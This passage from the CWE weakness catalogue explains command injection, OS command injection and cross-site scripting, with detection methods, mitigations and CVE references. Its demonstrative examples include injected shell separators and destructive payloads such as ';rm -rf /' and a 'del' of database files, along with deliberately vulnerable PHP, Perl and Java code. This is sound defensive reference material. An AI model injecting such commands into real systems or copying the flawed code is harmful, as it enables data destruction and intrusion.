However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

Example Language:

(attack)

```
$. /catWrapper Story.txt; lsWhen last we left our heroes...Story.txtSensitiveFile.txtPrivateData.dba.out*
```

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## Notes

### Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.) Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

## CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

**Weakness ID :** 78

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

### Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage. There are at least two subtypes of OS command injection: The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use `system("nslookup [HOSTNAME]")` to run `nslookup` and allow the user to supply a `HOSTNAME`, which is used as an argument. Attackers cannot prevent `nslookup` from executing. However, if the program does not remove command separators from the `HOSTNAME` argument, attackers could place the separators into the arguments, which allows them to execute their own program after `nslookup` has finished executing. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use `exec([COMMAND])` to execute the `[COMMAND]` that was supplied by the user. If the `COMMAND` is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like `exec()` and `CreateProcess()`, the attacker might not be able to combine multiple commands together in the same line. From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

Availability	Read Files or Directories	
Non-Repudiation	Modify Files or Directories	
	Read Application Data	
	Modify Application Data	
	Hide Activities	
	<i>Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

**Manual Static Analysis**

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

*Effectiveness = High*

**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

**Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

**Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

**Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

**Potential Mitigations****Phase: Architecture and Design**

If at all possible, use library calls rather than external processes to recreate the desired functionality.

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Phase: Architecture and Design**

*Strategy = Attack Surface Reduction*

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

**Phase: Implementation**

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation**

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

**Phase: Architecture and Design**

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the `system()` function accepts a string that contains the entire command to be executed, whereas `execl()`, `execve()`, and others require an array of strings, one for each argument. In Windows, `CreateProcess()` only accepts one command at a time. In Perl, if `system()` is provided with an array of arguments, then it will quote each of the arguments.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

### Phase: Operation

*Strategy = Compilation or Build Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

**Phase: Operation**

*Strategy = Environment Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

**Phase: Operation**

*Strategy = Sandbox or Jail*

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the

rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Phase: Operation

### Phase: Implementation

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

### Demonstrative Examples

#### Example 1:

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

*Example Language: PHP*

*(bad)*

```
$userName = $_POST["user"]; $command = 'ls -l /home/' . $userName; system($command);
```

The `$userName` variable is not checked for malicious input. An attacker could set the `$userName` variable to an arbitrary OS command such as:

*Example Language:*

*(attack)*

```
;rm -rf /
```

Which would result in `$command` being:

*Example Language:*

*(result)*

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the `ls` command, then the `rm` command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

#### Example 2:

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

*Example Language: Perl*

*(bad)*

```
use CGI qw(:standard); $name = param('name'); $nslookup = "/path/to/nslookup"; print header; if (open($fh, "$nslookup $name|")) { while (<$fh>) { print escapeHTML($_); print "<br>\n"; } close($fh); }
```

Suppose an attacker provides a domain name like this:

*Example Language:*

*(attack)*

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The `"%3B"` sequence decodes to the `;"` character, and the `%20` decodes to a space. The `open()` statement would then process a string like this:

*Example Language:**(result)*

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

**Example 3:**

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

*Example Language: Java**(bad)*

```
String script = System.getProperty("SCRIPTNAME");if (script != null)System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

**Example 4:**

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

*Example Language: Java**(bad)*

```
public String coordinateTransformLatLonToUTM(String coordinates){ String utmCoords = null;try { String latlonCoords = coordinates;Runtime rt = Runtime.getRuntime();Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords); // process results of coordinate transform // ... }catch(Exception e) {...}return utmCoords; }
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

**Example 5:**

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

*Example Language: Java**(bad)*

```
...String btype = request.getParameter("backuptype");String cmd = new String("cmd.exe /K %c:\\util\\rmanDB.bat "+btype +"&&c:\\utl\\cleanup.bat") System.Runtime.getRuntime().exec(cmd);...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\\*.\*", then the application will execute this command along with the others specified by the program. Because

of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Observed Examples

Reference	Description
<b>CVE-1999-0067</b>	Canonical example. CGI program does not neutralize " " metacharacter when invoking a phonebook program. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0067">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0067</a>
<b>CVE-2001-1246</b>	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1246">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1246</a>
<b>CVE-2002-0061</b>	Web server allows command execution using " " (pipe) character. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0061">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0061</a>
<b>CVE-2003-0041</b>	FTP client does not filter " " from filenames returned by the server, allowing for OS command injection. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0041">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0041</a>
<b>CVE-2008-2575</b>	Shell metacharacters in a filename in a ZIP archive <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2575">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2575</a>
<b>CVE-2002-1898</b>	Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1898">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1898</a>
<b>CVE-2008-4304</b>	OS command injection through environment variable. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4304">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4304</a>
<b>CVE-2008-4796</b>	OS command injection through https:// URLs <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796</a>
<b>CVE-2007-3572</b>	Chain: incomplete blacklist for OS command injection <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572</a>
<b>CVE-2012-1988</b>	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1988">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1988</a>

### Functional Areas

## Notes

### Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

### Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	CWE More Specific	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	31		OS Commanding
CERT Java Secure Coding	IDS07-J		Do not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	TCP Header Argument Injection

CAPEC-ID	Attack Pattern Name

## CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

**Weakness ID :** 79

**Status:** Usable

**Structure :** Simple

**Abstraction :** Base

### Description

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

### Extended Description

Cross-site scripting (XSS) vulnerabilities occur when: 1. Untrusted data enters a web application, typically from a web request. 2. The web application dynamically generates a web page that contains this untrusted data. 3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc. 4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data. 5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain. 6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one

domain should not be able to access resources or run code in a different domain. There are three main kinds of XSS: Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser. Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs. Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible. Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking." In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	129
ParentOf		80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	163
ParentOf		81	Improper Neutralization of Script in an Error Message Web Page	166
ParentOf		83	Improper Neutralization of Script in Attributes in a Web Page	170
ParentOf		84	Improper Neutralization of Encoded URI Schemes in a Web Page	172
ParentOf		85	Doubled Character XSS Manipulations	174

ParentOf		87	Improper Neutralization of Alternate XSS Syntax	178

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

**Paradigm :** Web Based (*Prevalence = Often*)

**Technology :** Web Server (*Prevalence = Often*)

### Background Details

**Same Origin Policy** The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce. **Domain** The Domain of a website when referring to XSS is roughly equivalent to the

resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

### Alternate Terms

**XSS** : "XSS" is a common abbreviation for Cross-Site Scripting.

**HTML Injection** : "HTML injection" is used as a synonym of stored (Type 2) XSS.

**CSS** : In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Bypass Protection Mechanism Read Application Data  <i>The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.</i>	
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data  <i>The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</i>	

### Detection Methods

#### Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

*Effectiveness = Moderate*

### Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

*Effectiveness = Moderate*

*With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.*

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

#### Phase: Implementation

##### Phase: Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

##### Phase: Architecture and Design

##### Phase: Implementation

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

*Effectiveness = Limited*

*This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.*

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design**

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

**Phase: Implementation**

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Phase: Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on

